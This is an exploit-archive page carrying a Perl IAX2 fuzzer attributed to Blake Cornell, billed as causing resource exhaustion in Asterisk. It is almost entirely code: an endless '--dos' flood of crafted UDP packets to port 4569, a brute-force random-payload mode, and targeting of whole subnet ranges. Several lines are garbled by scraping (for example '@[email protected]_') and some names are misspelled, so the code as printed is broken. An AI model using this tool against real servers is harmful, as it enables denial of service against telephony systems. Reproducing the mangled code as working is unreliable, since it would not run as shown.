Lucene search
K

Asterisk IAX2 Resource Exhaustion via Attacked IAX Fuzzer

🗓️ 12 Jun 2009 00:00:00Reported by Blake CornellType 
zdt
 zdt
🔗 0day.today👁 31 Views

Asterisk IAX2 Resource Exhaustion via Attacked IAX Fuzze

Code
=========================================================
Asterisk IAX2 Resource Exhaustion via Attacked IAX Fuzzer
=========================================================



#!/usr/bin/perl -w
#udp IAX protocol fuzzer
#Created: Blake Cornell
# Exploits found with this code can be
#Released under the VoIPER project
#
# Do not hesitate to show enthusiasm and support
#       and help develop this further.

use strict;
use IO::Socket;
use Getopt::Long;
use Net::Subnets;
use Pod::Usage;

my @target_port = (4569);
my @targets = ('127.0.0.1');
my $result = GetOptions('port|p=i' => \(my $port = ''),
                        'host|h=s' => \(my $host = ''),
                        'dos' => \(my $dos = ''),
                        'bruteforce' => \(my $bruteforce = ''),
                        'timeout|t=i' => \(my $timeout = ''),
                        'dust=i' => \(my $dust = ''),
                        'listen' => \(my $listen = ''),
                        'verbose|v' => \(my $verbose = ''),
                        'help|?' => \(my $help = '')) or pod2usage(2);

if($help) { printUsage(); }
if($host) { @[email protected]{retHosts($host)}; }
if($port) { $target_port[0] = $port; }
if($listen&&$dos) { print("DoS mode is in Listening Mode\n"); }

for(my $i=0; $i<=$#targets;$i++) {
	if($verbose) { print($targets[$i]."\n"); }
        fuzzIAX($targets[$i],4569,$timeout);
}
exit;

sub fuzzIAX {
        my($target,$port,$timeout,@args)[email protected]_;

        if($verbose) { print("Trying $target:$port\n"); }

        socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

        my %iaxFrameTypes=(
			'Nan' => "00",
                        'DTMF' => "01",
                        'VOICE' => "02",
                        'VIDEO' => "03",
                        'CONTROL' => "04",
                        'Null' => "05",
                        'IAXCONTROL' => "06",
                        'TEXT' => "07",
                        'IMAGE' => "08",
                        'HTML' => "09",
                        'COMFORTNOISE' => "0a",
                        'Unknown' => "0b",
                        'Unknown' => "0c",
                        'Unknown' => "0d",
                        'Unknown' => "0e",
                        'Unknown' => "0f");

        my %iaxControls=(
			'Nan' => "00",
                        'HANGUP' => "01",
                        'Reserved' => "02",
                        'RINGING' => "03",
                        'ANSWER' => "04",
                        'BUSY' => "05",
                        'Reserved' => "06",
                        'Reserved' => "07",
                        'CONGESTION' => "08",
                        'FLASH_HOOK' => "09",
                        'Reserved' => "0a",
                        'OPTION' => "0b",
                        'KEY_RADIO' => "0c",
                        'UNKEY_RADIO' => "0d",
                        'CALL_PROGRESS' => "0e",
                        'CALL_PROCEEDING' => "0f",
                        'HOLD' => "10",
                        'UNHOLD' => "11");

        my %iaxControlFrames=(
			'Nan' => "00",
                        'NEW' => "01",
                        'PING' => "02",
                        'PONG' => "03",
                        'ACK' => "04",
                        'HANGUP' => "05",
                        'REJECT' => "06",
                        'ACCEPT' => "07",
                        'AUTHREQ' => "08",
                        'AUTHREP' => "09",
                        'INVAL' => "0a",
                        'LAGRQ' => "0b",
                        'LAGRP' => "0c",
                        'REGREQ' => "0d",
                        'REGAUTH' => "0e",
                        'REGACK' => "0f",
                        'REGREJ' => "10",
                        'REGREL' => "11",
                        'VNACK' => "12",
                        'DPREQ' => "13",
                        'DPREP' => "14",
                        'DIAL' => "15",
                        'TXREQ' => "16",
                        'TXCNT' => "17",
                        'TXACC' => "18",
                        'TXREADY' => "19",
                        'TXREL' => "1a",
                        'TXREJ' => "1b",
                        'QUELCH' => "1c",
                        'UNQUELCH' => "1d",
                        'POKE' => "1e",
                        'Reserved' => "1f",
                        'MWI' => "20",
                        'UNSUPPORT' => "21",
                        'TRANSFER' => "22",
                        'Reserved' => "23",
                        'Reserved' => "24",
                        'Reserved' => "25");

        my %iaxHTML = (
                        'SEND_URL' => 1,
                        'DATA_FRAME' => 2,
                        'BEGINNING_FRAME' => 4,
                        'END_FRAME' => 8,
                        'LOAD_COMPLETE' => 16,
                        'PEER_NO_HTML' => 17,
                        'LINK_URL' => 18,
                        'UNLINK_URL' => 19,
                        'REJECT_LINK_URL' => 20);

        my %iaxIE = (
                        'CALLED_NUMBER' => "01",
                        'CALLING_NUMBER' => "02",
                        'CALLING_ANI' => "03",
                        'CALLING_NAME' => "04",
                        'CALLED_CONTEXT' => "05",
                        'USERNAME' => "06",
                        'PASSWORD' => "07",
                        'CAPABILITY' => "08",
                        'FORMAT' => "09",
                        'LANGUAGE' => "0a",
                        'VERSION' => "0b",
                        'ADSPICE' => "0c",
                        'DNID' => "0d",
                        'AUTHMETHODS' => "0e",
                        'CHALLENGE' => "0f",
                        'MD5_RESULT' => "10",
                        'RSA_RESULT' => "11",
                        'APPARENT_ADDR' => "12",
                        'REFRESH' => "13",
                        'DPSTATUS' => "14",
                        'CALLNO' => "15",
                        'CAUSE' => "16",
                        'IAX_UNKNOWN' => "17",
                        'MSGCOUNT' => "18",
                        'AUTOANSWER' => "19",
                        'MUSICONHOLD' => "1a",
                        'TRANSFERID' => "1b",
                        'RDNIS' => "1c",
                        'Reserved' => "1d",
                        'Reserved' => "1e",
                        'DATETIME' => "1f",
                        'Reserved' => "20",
                        'Reserved' => "21",
                        'Reserved' => "22",
                        'Reserved' => "23",
                        'Reserved' => "24",
                        'Reserved' => "25",
                        'CALLINGPRES' => "26",
                        'CALLINGTON' => "27",
                        'CALLINGTNS' => "28",
                        'SAMPLINGRATE' => "29",
                        'CAUSECODE' => "2a",
                        'ENCRYPTION' => "2b",
                        'ENCKEY' => "2c",
                        'CODEC_PREFS' => "2d",
                        'RR_JITTER' => "2e",
                        'RR_LOSS' => "2f",
                        'RR_PKTS' => "30",
                        'RR_DELAY' => "31",
                        'RR_DROPPED' => "32",
                        'RR_000' => "33");

        my %iaxDTMF = (
                        '0' => 0,
                        '1' => 1,
                        '2' => 2,
                        '3' => 3,
                        '4' => 4,
                        '5' => 5,
                        '6' => 6,
                        '7' => 7,
                        '8' => 8,
                        '9' => 9,
                        '*' => 10,
                        '#' => 11,
                        'A' => 12,
                        'B' => 13,
                        'C' => 14,
                        'D' => 15);

        my $MAXLEN = 1024;
        my $TIMEOUT = 1;
        if(defined($timeout) && $timeout ne '' && $timeout != 0) { #timeout of 0 hangs
                                                                #unanswered requests
                $TIMEOUT=$timeout;
        }

        if($dos) {
                if($verbose) { print("Dos attempts initiated\n"); }

                my $src_call = "8000";
                my $dst_call = "0000";
                my $timestamp = "00000000";

			#use rand sequence information to line up RE issues.
                my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
                my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));
			#or not
                #my $outbound_seq = "00";
                #my $inbound_seq = "00";

		for(my $i=1; 1==1; $i++) {
			foreach my $frame (keys(%iaxFrameTypes)) {
			  foreach my $subset (keys(%iaxControlFrames)) {
			    foreach my $ie (keys(%iaxIE)) {
                                my $out_msg =   $src_call . 
						$dst_call . 
						$timestamp . 
						$outbound_seq . 
						$inbound_seq . 
						$iaxFrameTypes{$frame} . 
						$iaxControlFrames{$subset} . 
						$iaxIE{$ie};
                                if(my @args = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,$listen,0)) {
                                        if($verbose && $i%1==0) {
                                                print('['.scalar(localtime).'] ');
                                                print($frame.' '.$subset.' '.$ie."\n");
                                        }
                                }
			    }
			  }
                        }
			print "Looping\n";
                }
        }elsif($bruteforce) {
                while(1) {
                        bruteForceFUZZ($target,$port,$listen,$timeout,\%iaxFrameTypes,\%iaxControlFrames,\%iaxIE);
                        print("\t\tLooping\n\n");
                        sleep(5);
                }
        }else{ ###smart fuzz

        my $src_call = "8000";
        my $dst_call = "0000";
        my $timestamp = "00000000";
        my $outbound_seq = "00";
        my $inbound_seq = "00";

foreach my $frameType (keys(%iaxFrameTypes)) {
    if($frameType eq 'CONTROL') {
        foreach my $controlKey (keys(%iaxControls)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControls{$controlKey} . $iaxIE{$ieKey}."00";
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$controlKey." ".$ieKey."\n");
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }

    }elsif($frameType eq 'IAXCONTROL') {
        foreach my $frameKey (keys(%iaxControlFrames)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	logAngPrint('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
    }elsif($frameType eq 'HTML') {
        foreach my $htmlKey (keys(%iaxHTML)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxHTML{$htmlKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
                        if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$htmlKey." ".$ieKey.' ');
			}
			if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }

    }elsif($frameType eq 'DTMF') {
        foreach my $dtmfKey (keys(%iaxDTMF)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxDTMF{$dtmfKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
			if(defined($recv[0]) && defied($recv[2])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$dtmfKey." ".$ieKey.' ');
			}
           		if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                               	print(length($recv[2])-length($out_msg)." bytes difference\n");
                               	print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
    }elsif($frameType eq 'TEXT') {
        my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . "00"; #text frame types "must" have a subclass of 0?
        if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
		if(defined($recv[0]) && defined($recv[1])) {
          		print('['.scalar(localtime).'] ');
               		print($recv[0].' '.$recv[1].' '.$frameType.' 00 ');
		}
	        if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
	        	print(length($recv[2])-length($out_msg)." bytes difference\n");
	                print($out_msg.' '.$recv[2]."\n");
		}
        }
    }else{
        foreach my $frameKey (keys(%iaxControlFrames)) {
            foreach my $ieKey (keys(%iaxIE)) {
                my $out_msg = $src_call . $dst_call . $timestamp . $outbound_seq . $inbound_seq . $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ieKey}.'00';
                if(my @recv = sendUDPSocket($out_msg,$target,$port,$TIMEOUT,1)) {
			if(defined($recv[0]) && defined($recv[1])) {
                        	print('['.scalar(localtime).'] ');
                        	print($recv[0].' '.$recv[1].' '.$frameType.' '.$frameKey." ".$ieKey.' ');
			}
                        if(defined($recv[2]) && defined($out_msg) && length($recv[2]) > length($out_msg)) {
                                print(length($recv[2])-length($out_msg)." bytes difference\n");
                                print($out_msg.' '.$recv[2]."\n");
                        }
                }
            }
        }
      }
    }
  }
}

sub sendUDPSocket {
        my($msg,$target,$port,$timeout,$listen,@args)[email protected]_;

        my $MAXLEN=1024;

                #my($respaddr,$port);
                my $out_msg = pack("H*",$msg);
                my $ipaddr = inet_aton($target);
                my $sin = sockaddr_in($port,$ipaddr);
                send(PING, $out_msg, 0, $sin) == length($out_msg) or die "cannot send to $target : $port : $!\n";

        if($listen) {
		#sleep(.005);
                eval {
                        local $SIG{ALRM} = sub { die "alarm time out"; };
                        alarm $timeout;
                        #alarm $timeout;
                        while (1) {
                                my $recvfrom = recv(PING, my $in_msg, $MAXLEN, 0) or die "recv: $!";
                                ($port, $ipaddr) = sockaddr_in($recvfrom);
                                my $respaddr = inet_ntoa($ipaddr);
                                if($verbose) {
					displayIAXRaw($respaddr,$port,$respaddr,$out_msg,$in_msg);
                                }
                                return($respaddr,$port,unpack("H*",$in_msg));
                        }
                };
                return 0;
        }
}

sub bruteForceFUZZ {
        my($target,$port,$listen,$timeout,$refFrameTypes,$refControlFrames,$refIE,@args)[email protected]_;

                my %iaxFrameTypes=%{$refFrameTypes};
                my %iaxControlFrames=%{$refControlFrames};
                my %iaxIE=%{$refIE};

                for(my $a=32768;$a<=32768;$a++) {# Full Packet 4byte
                 for(my $b=0;$b<=0;$b++) {# Dest Call 4byte
                  for(my $c=0;$c<=0;$c++) {# Timestamp 8byte
                   #for(my $d=0;$d<=0;$d++) {# Out Seq # 2byte
		   my $loopD=1;
                   #for(my $d=unpack("H2",pack("H2",int(rand(256))));$loopD;$d++) {# Out Seq # 2byte
		   #	$loopD=0;

                my $outbound_seq = unpack("H2",pack("H2",int(rand(256))));
                my $inbound_seq = unpack("H2",pack("H2",int(rand(256))));


                    #if($verbose) {print(sprintf("%04x",$a)." ".sprintf("%04x",$b)." ".sprintf("%08x",$c)." ".sprintf("%02x",$d)."\n"); }
		    for(my $d=0;1;$d++) {
                     for(my $e=0;1;$e++) {# In Seq # 2byte
                      foreach my $frameType (keys(%iaxFrameTypes)) {
                       foreach my $frameKey (keys(%iaxControlFrames)) {
                        foreach my $ie (keys(%iaxIE)) {
                         for(my $f=0;$f<=0;$f++) {
			  my $maxDust=10;
			  if($listen) { $maxDust/=2; }
			  if(defined($dust) && length($dust) > 0) { $maxDust=$dust; }
                          for(my $z=1;$z<=$maxDust;$z++) {
			    my $len = int(rand(9));
			    my $box= int(rand("9"x(($len+1))));
			      for(my $zz=1;$zz<=$maxDust;$zz++) {	
				my $hex_msg = sprintf("%04x",$a).sprintf("%04x",$b).sprintf("%08x",$c).sprintf("%02x",$d).sprintf("%02x",$e). $iaxFrameTypes{$frameType} . $iaxControlFrames{$frameKey} . $iaxIE{$ie} . sprintf("%02x",$f) . sprintf("%0".$len."x",$box);
                                if($verbose) {print("[" . scalar(localtime) . "] '" . $frameType."_".$frameKey."_".$ie."_".sprintf("%02x",$f)."_".sprintf("%0".$len."x",$box)."'\n"); }
				foreach my $var (sendUDPSocket($hex_msg,$target,$port,1,$listen)) { if($verbose) { print($var."_"); } }
			      }
		}}}}}}}}}}  #<------ VERY IMPORTANT
}

sub retIAXHostActive {
        my($target,$port,@args)[email protected]_;
        my $out_msg='';
        if(my @recv = sendUDPSocket($out_msg,$target,$port,1,1)) {
                return 1;
        }
        return 0;
}

sub retHosts {
        my($host,@args)[email protected]_;
        my @addrs;

        if(!$host) { return ('127.0.0.1') };

        if($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})\/([\d]{1,2})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255) {
                                        #Check to see if host is valid class C CIDR Address
                if($verbose) { print("Setting CIDR Address Range\n"); }
                my $sn = Net::Subnets->new;

                my($low,$high)=$sn->range(\$host);
                if($verbose) { print("Determined IP Ranges From $$low - $$high\n"); }
                return \@{ $sn->list(\($$low,$$high)) };
        }elsif($host =~ /^([\d]{1,3}).([\d]{1,3}).([\d]{1,3}).([\d]{1,3})$/ && $1 >= 0 && $1 <= 255 && $2 >= 0 && $2 <= 255 && $3 >= 0 && $3 <= 255 && $4 >= 0 && $4 <= 255)  {
                                        #Check to see if host is valid IP
                push(@addrs,"$1.$2.$3.$4");
        }else{
                push(@addrs,$host);
        }
        return \@addrs;
}

sub displayIAXRaw {
	my($respaddr,$port,$out_msg,$in_msg)[email protected]_;

	if(defined($in_msg) && unpack("H*",$in_msg) ne '80000000000000000000060a') {
	        print("[" . scalar(localtime) . "] $respaddr:$port\t$respaddr\t" . unpack("H*",$out_msg) . "\t". unpack("H*",$in_msg) . "\n");
	}elsif(defined($respaddr) && defined($port)) {
	        print(scalar(localtime) . " $respaddr:$port\t$respaddr\n");

	}
}

sub displayIAXPacket {
        my($hex_msg,@args)[email protected]_;

        my $width=32/8;

        for(my $i=0;$i*$width<=length($hex_msg);$i++) {
                print(substr($hex_msg,$i*$width,$width)."\n");
        }
        #print $hex_msg."\n";
}

sub printUsage {
        print "$0 --dos\n\t\tWill loop through known or manually preset packet combinations.\n";
        print "$0 --bruteforce\n\t\tBrute force fuzzes on default port of 4569.  It will try random data packaging at the end of a valid packet.  It will by default send 10 per each packet.\n";
        print "$0 -h 127.0.0.1 --bruteforce --dust 1\n\t\tBrute force fuzzes on default port of 4569.  It will try random data packaging at the end of a valid packet.  It will only send 1 of each packet.\n";
        print "$0 \n\t\tScans the loopback interface by rough usage from IETF guidelines.\n";
        exit;
}

sub logAndPrint {
	my($string,@args)[email protected]);
	
	if(1==1 || defined($string)) {
		print $string;
		open(FLE,">>$0_logs_[".scalar(localtime)."] $string");
		print FLE $string;
		close(FLE);
	}
}



#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation